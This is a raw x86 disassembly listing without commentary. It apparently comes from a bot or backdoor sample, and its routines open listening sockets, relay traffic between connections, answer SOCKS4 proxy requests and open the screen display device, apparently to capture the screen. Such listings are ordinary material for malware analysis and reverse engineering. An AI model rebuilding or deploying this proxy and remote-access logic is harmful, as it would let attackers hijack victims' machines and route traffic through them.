		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		push	1
		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	dword_43ADD8
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	dword_436F18[ecx*8], eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_407252
		push	8
		call	sub_416FA4
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_407A4D
		mov	esi, offset dword_438F18
		push	esi
		call	near ptr 26F0000h
		nop
		push	80000400h
		push	esi
		nop
		call	near ptr 26E09CAh
		test	eax, eax
		jnz	short loc_407A4D
		lea	eax, [ebp+var_1CC]
		push	offset unk_42B4F0
		push	eax
		call	sub_4172B0
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_407A37
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_40D679
		add	esp, 14h

loc_407A37:				; CODE XREF: sub_40797F+99j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_40BF6D
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------

loc_407A4D:				; CODE XREF: sub_40797F+63j
					; sub_40797F+7Fj
		mov	eax, [ebp+var_2C]
		mov	esi, dword_424064
		mov	edi, ebx
		mov	dword_436F1C[eax*8], ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_407B1A

loc_407A6B:				; CODE XREF: sub_40797F+195j
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_42B4A8
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	8
		push	eax
		call	sub_416D5C
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	dword_4407F4[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_407767
		push	ebx
		push	ebx
		nop
		call	near ptr 2690AC4h
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_407AE5

loc_407ADA:				; CODE XREF: sub_40797F+164j
		cmp	[ebp+var_4], ebx
		jnz	short loc_407B0C
		push	1Eh
		call	esi
		jmp	short loc_407ADA
; ---------------------------------------------------------------------------

loc_407AE5:				; CODE XREF: sub_40797F+159j
		nop
		call	near ptr 2660AEBh
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_42B45C
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_40BF6D
		add	esp, 10h

loc_407B0C:				; CODE XREF: sub_40797F+15Ej
		push	1Eh
		call	esi
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_407A6B

loc_407B1A:				; CODE XREF: sub_40797F+E6j
		cmp	[ebp+var_30], ebx
		jz	loc_407BC4
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi

loc_407B2F:				; CODE XREF: sub_40797F+250j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, dword_436F18[eax*8]
		push	eax
		call	dword_43AE24
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_42B408
		push	eax
		call	sub_4172B0
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_407B7D
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_40D679
		add	esp, 14h

loc_407B7D:				; CODE XREF: sub_40797F+1DFj
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_40BF6D
		mov	eax, [ebp+var_2C]
		mov	[esp+1DCh+var_1DC], 0BB8h
		mov	dword_436F1C[eax*8], ebx
		call	esi
		push	8
		call	sub_416FA4
		cmp	eax, 1
		pop	ecx
		jnz	short loc_407BB4
		push	offset dword_438F18
		nop
		call	near ptr 26F0000h

loc_407BB4:				; CODE XREF: sub_40797F+228j
		push	[ebp+var_2C]
		call	sub_417078
		pop	ecx
		push	ebx
		nop
		call	near ptr 26101F3h

loc_407BC4:				; CODE XREF: sub_40797F+19Ej
					; sub_40797F+25Dj
		mov	eax, [ebp+var_2C]
		cmp	dword_436F1C[eax*8], 1
		jnz	loc_407B2F
		push	7D0h
		call	esi
		jmp	short loc_407BC4
sub_40797F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407BDE	proc near		; DATA XREF: sub_40EE72+36DDo

var_34C		= byte ptr -34Ch
var_14C		= byte ptr -14Ch
var_148		= dword	ptr -148h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= byte ptr -14h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 34Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		rep movsd
		push	1
		xor	esi, esi
		pop	edi
		push	10h
		mov	[eax+120h], edi
		pop	ebx
		lea	eax, [ebp+var_10]
		push	ebx
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_40]
		call	dword_43AD98
		push	6
		push	edi
		push	2
		mov	[ebp+var_E], ax
		mov	[ebp+var_C], esi
		mov	[ebp+arg_0], ebx
		call	dword_43AE18
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_407D42
		mov	eax, [ebp+var_3C]
		push	edi
		imul	eax, 234h
		push	401h
		push	esi
		push	ebx
		mov	dword_4407FC[eax], ebx
		call	dword_43ACB4
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_43ADC4
		test	eax, eax
		jnz	loc_407D42
		push	0Ah
		push	ebx
		call	dword_43ADC0
		test	eax, eax
		jnz	loc_407D42

loc_407C88:				; CODE XREF: sub_407BDE+BEj
					; sub_407BDE+13Fj
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	ebx
		call	dword_43AE2C
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_407C88
		movzx	eax, [ebp+var_22]
		push	[ebp+var_3C]
		mov	[ebp+var_148], edi
		mov	[ebp+var_2C], esi
		push	eax
		push	[ebp+var_20]
		call	dword_43AE24
		push	eax
		lea	eax, [ebp+var_34C]
		push	offset unk_42B584
		push	eax
		call	sub_4172B0
		push	edi
		lea	eax, [ebp+var_34C]
		push	10h
		push	eax
		call	sub_416D5C
		mov	[ebp+var_38], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_3C]
		add	esp, 20h
		mov	dword_4407F4[eax], ecx
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_14C]
		push	esi
		push	eax
		push	offset loc_407D66
		push	esi
		push	esi
		call	near ptr 2690AC4h
		nop
		mov	ecx, [ebp+var_38]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_440804[ecx], eax
		jz	short loc_407D2D

loc_407D1A:				; CODE XREF: sub_407BDE+14Dj
		cmp	[ebp+var_2C], esi
		jnz	loc_407C88
		push	32h
		call	near ptr 2610E42h
		nop
		jmp	short loc_407D1A
; ---------------------------------------------------------------------------

loc_407D2D:				; CODE XREF: sub_407BDE+13Aj
		call	near ptr 2660AEBh
		nop
		push	eax
		push	offset unk_42B538
		call	sub_40BFE1
		pop	ecx
		pop	ecx
		jmp	short loc_407D45
; ---------------------------------------------------------------------------

loc_407D42:				; CODE XREF: sub_407BDE+61j
					; sub_407BDE+93j ...
		mov	edi, [ebp+arg_0]

loc_407D45:				; CODE XREF: sub_407BDE+162j
		push	edi
		call	dword_43AE30
		push	ebx
		call	dword_43AE30
		push	[ebp+var_3C]
		call	sub_417078
		pop	ecx
		push	esi
		nop
		call	near ptr 26101F3h
		pop	edi
		pop	esi
		pop	ebx
sub_407BDE	endp ; sp-analysis failed


loc_407D66:				; DATA XREF: sub_407BDE+11Co
		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_417B30
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-144h]
		rep movsd
		mov	ebx, [ebp-30h]
		push	1
		pop	ecx
		mov	[ebp-4], ebx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		call	dword_43AE18
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+8], esi
		jz	loc_407F1C
		push	10h
		lea	eax, [ebp-18h]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	word ptr [ebp-18h], 2
		push	dword ptr [ebp-3Ch]
		call	dword_43AD98
		mov	[ebp-16h], ax
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_43ADD8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_407DF6
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_43AE1C
		jmp	short loc_407E04
; ---------------------------------------------------------------------------

loc_407DF6:				; CODE XREF: ___:00407DE5j
		push	2
		lea	eax, [ebp-8]
		push	4
		push	eax
		call	dword_43AD50

loc_407E04:				; CODE XREF: ___:00407DF4j
		cmp	eax, edi
		jz	loc_407F1C
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-14h], eax
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		call	dword_43AD40
		cmp	eax, 0FFFFFFFFh
		jz	loc_407F1C
		movzx	eax, word ptr [ebp-16h]
		push	dword ptr [ebp-34h]
		mov	[ebp-20h], edi
		push	eax
		push	dword ptr [ebp-14h]
		call	dword_43AE24
		push	eax
		lea	eax, [ebp-344h]
		push	offset unk_42B62C
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp-344h]
		push	10h
		push	eax
		call	sub_416D5C
		imul	ebx, 234h
		mov	[ebp-30h], eax
		imul	eax, 234h
		mov	ecx, [ebp-34h]
		lea	esi, dword_4407FC[ebx]
		mov	dword_4407F4[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	dword_440800[eax], ecx
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-144h]
		push	edi
		push	eax
		push	offset loc_407F4D
		push	edi
		push	edi
		nop
		call	near ptr 2690AC4h
		mov	ecx, [ebp-30h]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_440804[ecx], eax
		jz	short loc_407F09

loc_407EB6:				; CODE XREF: ___:00407EC3j
		cmp	[ebp-20h], edi
		jnz	short loc_407EC5
		push	32h
		nop
		call	near ptr 2610E42h
		jmp	short loc_407EB6
; ---------------------------------------------------------------------------

loc_407EC5:				; CODE XREF: ___:00407EB9j
		mov	ebx, 1000h

loc_407ECA:				; CODE XREF: ___:00407F05j
		push	ebx
		lea	eax, [ebp-1344h]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp-1344h]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_43ADB0
		cmp	eax, edi
		jle	short loc_407F1C
		push	edi
		push	eax
		lea	eax, [ebp-1344h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_407ECA
		jmp	short loc_407F1C
; ---------------------------------------------------------------------------

loc_407F09:				; CODE XREF: ___:00407EB4j
		nop
		call	near ptr 2660AEBh
		push	eax
		push	offset unk_42B5DC
		call	sub_40BFE1
		pop	ecx
		pop	ecx

loc_407F1C:				; CODE XREF: ___:00407DAAj
					; ___:00407E06j ...
		mov	eax, [ebp-4]
		imul	eax, 234h
		push	dword_4407FC[eax]
		call	dword_43AE30
		push	dword ptr [ebp+8]
		call	dword_43AE30
		push	dword ptr [ebp-4]
		call	sub_417078
		pop	ecx
		push	edi
		call	near ptr 26101F3h
		nop
		pop	edi
		pop	esi
		pop	ebx

loc_407F4D:				; DATA XREF: ___:00407E96o
		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_417B30
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-128h]
		rep movsd
		mov	esi, [ebp-14h]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h

loc_407F84:				; CODE XREF: ___:00407FC9j
		push	edi
		lea	eax, [ebp-1128h]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp-1128h]
		push	0
		push	edi
		push	eax
		push	dword_440800[esi]
		call	dword_43ADB0
		test	eax, eax
		jle	short loc_407FCB
		push	0
		push	eax
		lea	eax, [ebp-1128h]
		push	eax
		push	dword_4407FC[esi]
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_407F84

loc_407FCB:				; CODE XREF: ___:00407FAEj
		push	dword_440800[esi]
		call	dword_43AE30
		push	dword ptr [ebp-14h]
		call	sub_417078
		pop	ecx
		push	0
; ---------------------------------------------------------------------------
		dw 0CE8h
; ---------------------------------------------------------------------------
		and	byte ptr [eax],	2
		nop
		pop	edi
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407FEA	proc near		; DATA XREF: sub_40EE72+5E51o

var_5D4		= dword	ptr -5D4h
var_5D0		= dword	ptr -5D0h
var_4D0		= byte ptr -4D0h
var_4CF		= byte ptr -4CFh
var_4CE		= word ptr -4CEh
var_4CC		= dword	ptr -4CCh
var_4C8		= byte ptr -4C8h
var_2D4		= byte ptr -2D4h
var_D4		= dword	ptr -0D4h
var_D0		= byte ptr -0D0h
var_C8		= byte ptr -0C8h
var_44		= byte ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	10h
		mov	esi, eax
		pop	ebx
		lea	edi, [ebp+var_D4]
		push	2Ch
		mov	[ebp+var_4], ebx
		pop	ecx
		rep movsd
		push	1
		xor	esi, esi
		pop	edi
		mov	[eax+0A8h], edi
		push	ebx
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	word ptr [ebp+var_14], 2
		push	[ebp+var_40]
		call	dword_43AD98
		push	6
		push	edi
		push	2
		mov	word ptr [ebp+var_14+2], ax
		mov	[ebp+var_10], esi
		call	dword_43AE18
		mov	edi, eax
		mov	eax, [ebp+var_3C]
		imul	eax, 234h
		push	ebx
		mov	dword_4407FC[eax], edi
		lea	eax, [ebp+var_14]
		push	eax
		push	edi
		call	dword_43ADC4
		test	eax, eax
		jnz	loc_40818C
		push	0Ah
		push	edi
		call	dword_43ADC0
		test	eax, eax
		jnz	loc_40818C
		push	[ebp+var_40]
		push	[ebp+var_D4]
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset unk_42B75C
		push	eax
		call	sub_4172B0
		add	esp, 10h
		cmp	[ebp+var_30], esi
		jnz	short loc_4080C5
		push	esi
		lea	eax, [ebp+var_2D4]
		push	[ebp+var_34]
		push	eax
		lea	eax, [ebp+var_D0]
		push	eax
		push	[ebp+var_D4]
		call	sub_40D679
		add	esp, 14h

loc_4080C5:				; CODE XREF: sub_407FEA+B9j
					; sub_407FEA+172j ...
		lea	eax, [ebp+var_2D4]
		push	eax
		call	sub_40BF6D
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_43AE2C
		push	[ebp+var_3C]
		mov	ebx, eax
		movzx	eax, [ebp+var_22]
		push	eax
		mov	[ebp+var_28], esi
		push	[ebp+var_20]
		call	dword_43AE24
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset unk_42B708
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2D4]
		push	11h
		push	eax
		call	sub_416D5C
		mov	[ebp+var_38], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_3C]
		add	esp, 20h
		mov	dword_4407F4[eax], ecx
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_D4]
		push	esi
		push	eax
		push	offset loc_4081EF
		push	esi
		push	esi
		nop
		call	near ptr 2690AC4h
		mov	ecx, [ebp+var_38]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_440804[ecx], eax
		jz	short loc_40816C

loc_408159:				; CODE XREF: sub_407FEA+180j
		cmp	[ebp+var_28], esi
		jnz	loc_4080C5
		push	5
		nop
		call	near ptr 2610E42h
		jmp	short loc_408159
; ---------------------------------------------------------------------------

loc_40816C:				; CODE XREF: sub_407FEA+16Dj
		nop
		call	near ptr 2660AEBh
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset unk_42B6C0
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		jmp	loc_4080C5
; ---------------------------------------------------------------------------

loc_40818C:				; CODE XREF: sub_407FEA+7Bj
					; sub_407FEA+8Cj
		push	edi
		call	dword_43AE30
		push	[ebp+var_40]
		lea	eax, [ebp+var_2D4]
		push	offset unk_42B680
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_4081CF
		push	esi
		lea	eax, [ebp+var_2D4]
		push	[ebp+var_34]
		push	eax
		lea	eax, [ebp+var_D0]
		push	eax
		push	[ebp+var_D4]
		call	sub_40D679
		add	esp, 14h

loc_4081CF:				; CODE XREF: sub_407FEA+1C3j
		lea	eax, [ebp+var_2D4]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_3C]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 26101F3h
		nop
		pop	edi
		pop	esi
		pop	ebx

loc_4081EF:				; DATA XREF: sub_407FEA+14Fo
		push	ebp
		mov	ebp, esp
		sub	esp, 5D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	2Ch
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_C8]
		rep movsd
		mov	esi, [ebp+var_2C]
		push	1
		mov	[ebp+arg_0], esi
		imul	esi, 234h
		pop	edi
		lea	esi, dword_4407FC[esi]
		mov	[eax+0ACh], edi
		xor	ebx, ebx
		mov	eax, [esi]
		mov	[ebp+var_8], 5
		mov	[ebp+var_5D0], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		lea	eax, [ebp+var_5D4]
		push	ebx
		push	eax
		push	ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_5D4], edi
		call	dword_43AD80
		test	eax, eax
		jnz	short loc_408270
		push	dword ptr [esi]
		call	dword_43AE30
		push	[ebp+arg_0]
		call	sub_417078
		pop	ecx
		push	ebx
		call	near ptr 26101F3h
		nop

loc_408270:				; CODE XREF: sub_407FEA+26Cj
		push	ebx
		lea	eax, [ebp+var_4D0]
		push	408h
		push	eax
		push	dword ptr [esi]
		call	dword_43ADB0
		test	eax, eax
		jg	short loc_4082A1
		push	dword ptr [esi]
		call	dword_43AE30
		push	[ebp+arg_0]
		call	sub_417078
		pop	ecx
		push	ebx
		call	near ptr 26101F3h
		nop

loc_4082A1:				; CODE XREF: sub_407FEA+29Dj
		cmp	[ebp+var_4D0], 4
		jnz	loc_40849B
		cmp	[ebp+var_4CF], 1
		jnz	loc_40849B
		cmp	[ebp+var_44], bl
		jz	short loc_408337
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_408337
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		push	offset unk_42B830
		call	sub_40BFE1
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Dh
		call	sub_417330
		add	esp, 18h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_43ADE8
		push	dword ptr [esi]
		call	dword_43AE30
		push	[ebp+arg_0]
		call	sub_417078
		pop	ecx
		push	ebx
		nop
		call	near ptr 26101F3h

loc_408337:				; CODE XREF: sub_407FEA+2D4j
					; sub_407FEA+2EAj
		push	10h
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		call	sub_417330
		mov	ax, [ebp+var_4CE]
		add	esp, 0Ch
		mov	[ebp+var_16], ax
		mov	eax, [ebp+var_4CC]
		push	6
		push	edi
		push	2
		mov	[ebp+var_18], 2
		mov	[ebp+var_14], eax
		call	dword_43AE18
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_4083CF
		call	dword_43AD2C
		push	eax
		push	offset unk_42B7E4
		call	sub_40BFE1
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Bh
		call	sub_417330
		add	esp, 14h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_43ADE8
		push	dword ptr [esi]
		call	dword_43AE30
		push	[ebp+arg_0]
		call	sub_417078
		pop	ecx
		push	ebx
		call	near ptr 26101F3h
		nop

loc_4083CF:				; CODE XREF: sub_407FEA+386j
		lea	eax, [ebp+var_18]
		push	10h
		push	eax
		push	edi
		call	dword_43AD40
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40843E
		call	dword_43AD2C
		push	eax
		push	offset unk_42B794
		call	sub_40BFE1
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Bh
		call	sub_417330
		add	esp, 14h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_43ADE8
		push	dword ptr [esi]
		call	dword_43AE30
		push	[ebp+arg_0]
		call	sub_417078
		pop	ecx
		push	ebx
		call	near ptr 26101F3h
		nop

loc_40843E:				; CODE XREF: sub_407FEA+3F5j
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Ah
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_43ADE8
		push	dword ptr [esi]
		push	edi
		call	sub_4084B3
		pop	ecx
		pop	ecx
		push	edi
		call	dword_43AE30
		push	dword ptr [esi]
		call	dword_43AE30
		push	[ebp+arg_0]
		call	sub_417078
		pop	ecx
		push	ebx
		call	near ptr 26101F3h
		nop

loc_40849B:				; CODE XREF: sub_407FEA+2BEj
					; sub_407FEA+2CBj
		push	dword ptr [esi]
		call	dword_43AE30
		push	[ebp+arg_0]
		call	sub_417078
		pop	ecx
		push	ebx
		call	near ptr 26101F3h
		nop
sub_407FEA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4084B3	proc near		; CODE XREF: sub_407FEA+48Bp

var_504		= byte ptr -504h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h

loc_4084C9:				; CODE XREF: sub_4084B3+C5j
					; sub_4084B3+F5j
		mov	[ebp+var_100], ebx
		mov	[ebp+var_104], 1
		xor	ecx, ecx
		lea	eax, [ebp+var_100]

loc_4084E1:				; CODE XREF: sub_4084B3+3Cj
		mov	edx, [ebp+arg_0]
		cmp	[eax], edx
		jz	short loc_4084F1
		inc	ecx
		add	eax, 4
		cmp	ecx, 1
		jb	short loc_4084E1

loc_4084F1:				; CODE XREF: sub_4084B3+33j
		cmp	ecx, 1
		jnz	short loc_408506
		mov	[ebp+var_FC], edx
		mov	[ebp+var_104], 2

loc_408506:				; CODE XREF: sub_4084B3+41j
		push	esi
		lea	eax, [ebp+var_504]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_104]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	dword_43AD80
		lea	eax, [ebp+var_104]
		push	eax
		push	ebx
		call	dword_43AC90
		test	eax, eax
		jz	short loc_408566
		push	edi
		lea	eax, [ebp+var_504]
		push	esi
		push	eax
		push	ebx
		call	dword_43ADB0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4085AE
		push	edi
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	[ebp+arg_0]
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4085AE

loc_408566:				; CODE XREF: sub_4084B3+85j
		lea	eax, [ebp+var_104]
		push	eax
		push	[ebp+arg_0]
		call	dword_43AC90
		test	eax, eax
		jz	loc_4084C9
		push	edi
		lea	eax, [ebp+var_504]
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_43ADB0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4085AE
		push	edi
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	ebx
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jnz	loc_4084C9

loc_4085AE:				; CODE XREF: sub_4084B3+9Aj
					; sub_4084B3+B1j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4084B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4085B3	proc near		; CODE XREF: sub_40EE72+45AFp

var_484		= byte ptr -484h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= word ptr -78h
var_76		= word ptr -76h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= word ptr -4Ch
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= dword	ptr -26h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 484h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	esi
		push	offset aDisplay	; "DISPLAY"
		call	dword_43AD84
		mov	edi, eax
		cmp	edi, esi
		mov	[ebp+var_20], edi
		jz	loc_4087E7
		push	8
		push	edi
		call	dword_43ADA0
		push	0Ah
		push	edi
		mov	[ebp+var_8], eax
		call	dword_43ADA0
		push	0Ch
		push	edi
		mov	[ebp+var_C], eax
		call	dword_43ADA0
		cmp	eax, 8
		mov	[ebp+var_10], eax
		ja	short loc_408615
		push	18h
		push	edi
		call	dword_43ADA0
		mov	ebx, 100h
		jmp	short loc_408617
; ---------------------------------------------------------------------------

loc_408615:				; CODE XREF: sub_4085B3+50j
		xor	ebx, ebx

loc_408617:				; CODE XREF: sub_4085B3+60j
		push	edi
		call	dword_43ADE4
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	loc_4087CC
		mov	eax, [ebp+var_8]
		push	esi
		mov	[ebp+var_80], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_7C], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_76], ax
		lea	eax, [ebp+var_18]
		push	esi
		push	eax
		lea	eax, [ebp+var_84]
		push	1
		push	eax
		push	edi
		mov	[ebp+var_84], 28h
		mov	[ebp+var_78], 1
		mov	[ebp+var_74], esi
		mov	[ebp+var_70], esi
		mov	[ebp+var_6C], esi
